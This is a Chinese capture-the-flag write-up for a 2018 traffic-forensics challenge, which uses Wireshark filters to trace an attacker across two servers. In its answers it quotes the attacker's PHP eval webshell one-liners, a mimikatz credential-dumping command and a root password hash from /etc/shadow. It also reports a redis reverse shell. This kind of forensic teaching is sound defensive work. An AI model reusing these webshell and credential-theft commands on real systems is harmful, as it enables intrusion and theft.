前言
本场比赛为2018铁三分区赛最后一场,下面是题目分享:1
链接: https://pan.baidu.com/s/145V_xyiMNOIE5bFbCTtNNg 密码: v6wu
题目描述
1 | 1.被攻击的两个服务器的内网ip分别是多少,以下简称服务器1和2(格式:空格分隔,按黑客攻击顺序排列) |
题目解析(part 1)
首先拿到庞大的数据包,我们的第一选择肯定是找出攻击者,方便后续的大规模过滤筛选,而定位黑客的最直接的方式就是找到大量重复的探测流量,例如目录爆破、sql注入探测等
这里我们可以先过滤http流量,发现最瞩目的是202.1.1.2的sql探测
我们随便挑一个,可以清楚看到,是用sqlmap进行的注入探测,可以确定无误,202.1.1.2即黑客
而受害者为192.168.1.74
故此我们后续的过滤为1
(ip.addr == 202.1.1.2 || ip.addr == 192.168.1.74) && http
在后续数据包(第五个数据包)里可以发现另一个被攻击的ip
过滤规则
ip.src == 192.168.1.74 && ip.dst !=202.1.1.2 && http
192.168.2.66
然后是主机名,对于主机名,我们知道,phpinfo是非常好的查看方式,不仅可以获取主机名,还可以知道根目录等有效信息,所以既然问了我们这个问题,我们不妨查看一下黑客是否查找了phpinfo()
使用指令
1 | ip.addr == 192.168.1.74 && http contains "phpinfo" |
可以发现第一个被攻击的主机的phpinfo流量
同理,在后续数据包查找第二台
1 | ip.addr == 192.168.2.66 && http contains "phpinfo" |
然后我们将phpinfo回显的html保存到本地方便查看
然后依次打开
第一台
第二台
于是我们的得到答案1
TEST-7E28AF8836 cloude
接下来一个问题就是送分题了,正是我们前面分析的1
sqlmap
然后接下来题目问我们有关登录的信息,所以我们选择过滤黑客ip和post请求方式1
ip.addr == 202.1.1.2 && http.request.method == "POST"
很容易看到我们需要的答案1
admin/adminlwphp/WD7x
接下来问我们小马的写入方式,我们这里选择简单的过滤攻击者的http流量1
ip.src == 202.1.1.2 && http
在第二个数据包中
即可看到命令执行,写入小马的payload1
GET /tmpbjhbf.php?cmd=echo ^<?php^ eval($_POST[ge]);?^>>abc.php HTTP/1.1\r\n
故此答案为1
echo ^<?php^ eval($_POST[ge]);?^>>abc.php
然后是有关服务器允许外连的tcp注册端口
这里我们的第一选择肯定是去发掘黑客利用小马执行的命令
我们知道第一台服务器为windows(之前的phpinfo可见)
所以我们要找的指令肯定是netstat
但是对方使用中国菜刀,流量都是base64后的
过滤1
ip.addr == 202.1.1.2 || ip.addr == 192.168.1.74 && http
故此,我们选择对目标菜刀流量依次查找,不难发现
黑客执行了netstat,并且得到了回显1
cd /d "C:\WWW\"&netstat -ano&echo [S]&cd&echo [E]
刚开始输入1
80 135 139 445 1025 3306 3389
发现答案错误,再仔细看描述,允许外连的TCP端口,后查阅资料,发现1025,3306,3389均可外连,于是得到答案
然后题目又问了服务器1安装的修补程序名称
这里我发现,黑客还执行了systeminfo
而我们知道,systeminfo中是会有修补程序一栏的,我们查看
即可得到结果1
Q147222
然后是网站的根目录,根据之前的phpinfo信息,我们查看即可
答案为1
C:/WWW/
然后是黑客扫描工具,这里我们可以发现黑客利用abc.php小马上传的文件
解码后发现文件名为1
C:\\WWW\\my\\scan.php
即可得到答案
然后我们根据这个文件名进行过滤,查看黑客扫描结果1
ip.addr == 202.1.1.2 || ip.addr == 192.168.1.74 && http contains "scan"
我们跟踪数据流
不难得到结果1
80 3306 6379
同时得到扫描范围1
192.168.1.1~192.168.3.255
然后我们继续查看流量,不难发现黑客使用了mimikatz
不难得到密码
Simplexue123
并且发现后续指令1
cd /d "C:\WWW\my\mimi\"&mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords"" exit >> log.txt&echo [S]&cd&echo [E]
得到答案
阶段性梳理
1 | 根据上述分析,我们可以知道黑客对第一台机器的大致攻击流程 |
题目解析(part 2)
紧接着题目问服务器1的mysql的root用户的密码是什么,这里应该是读取了配置文件
我们在第四个数据包中查看黑客执行的命令,不难发现
黑客查看了文件1
C:\\WWW\\configs\\config.php
并得到了信息1
2
3
4$mydbhost="localhost";
$mydbuser="root";
$mydbpw ="windpasssql";
$mydbname="510cms";
从而得到了答案
我们不难想起来,第二台服务器开了6379端口,即redis服务,所以我个人认为,黑客应该是通过打redis获取root权限,然后向第二台机子写入的小马
那么既然是打redis,我们过滤http流量肯定是不行的,所以这里选择过滤tcp
不难找到以下攻击
可见黑客的确反弹了shell,获取了权限
然后黑客进行了大量操作
其中不难发现,黑客查看了敏感文件/etc/shadow,并写入了shell:indexs.php
其中root信息为1
root:$6$pJIpnrap9xQnDvB/$dGJnXpT1mMIzAD7K0WiE12rKVRgqCleL9u528e/Bgc2AIblZ3I1bDXfkLZhFehU/C3eCt/il35tiQP1DFccVO0:17030:0:99999:7:::
这里对1
$6$pJIpnrap9xQnDvB/$dGJnXpT1mMIzAD7K0WiE12rKVRgqCleL9u528e/Bgc2AIblZ3I1bDXfkLZhFehU/C3eCt/il35tiQP1DFccVO0
爆破无果,后来跳过该题目才知道,竟然是1
Simplexue123
竟然还带着点猜和脑洞,好吧~
但是这一系列的操作里,我们得到了许多后续答案
我们整理一下
15.黑客在服务器2中查看了哪个敏感文件(拿到shell之后),请写出绝对路径
/etc/shadow
17.黑客在redis未授权访问中反弹shell的ip和端口是多少202.1.1.2/6666
18.黑客拿到root权限后执行的第二条命令是什么cd /var/www/html
19.服务器2的root用户密码是什么Simplexue123
20.黑客向服务器2写入webshell的命令echo '<?php eval($_POST[a]);'>indexs.php
然后是最后剩下的两个题目,关于服务器2的管理员密码,我们在第6个数据包里不难发现黑客读取的内容
这里过滤选择关键词admin或者root都可以
解md5后得到管理员密码1
112233.com
最后得到答案1
admin/112233.com
关于最后一个题,比较难受,我们是谷歌到的特征,关于无偿arp包,其isgratuitous必须为true
故此挨个过滤每个数据包
1 | arp && arp.isgratuitous == true |
依次查看,即可得到答案1
2
3192.168.3.213
192.168.3.6
192.168.3.19
题目答案
1 | 1.被攻击的两个服务器的内网ip分别是多少,以下简称服务器1和2(格式:空格分隔,按黑客攻击顺序排列) |
后记
终于打完了自己的一场比赛,说实话发挥并不理想,比自己预期的解题速度慢了许多,还是有很多不了解的知识点。希望借助重复的训练增强自己吧~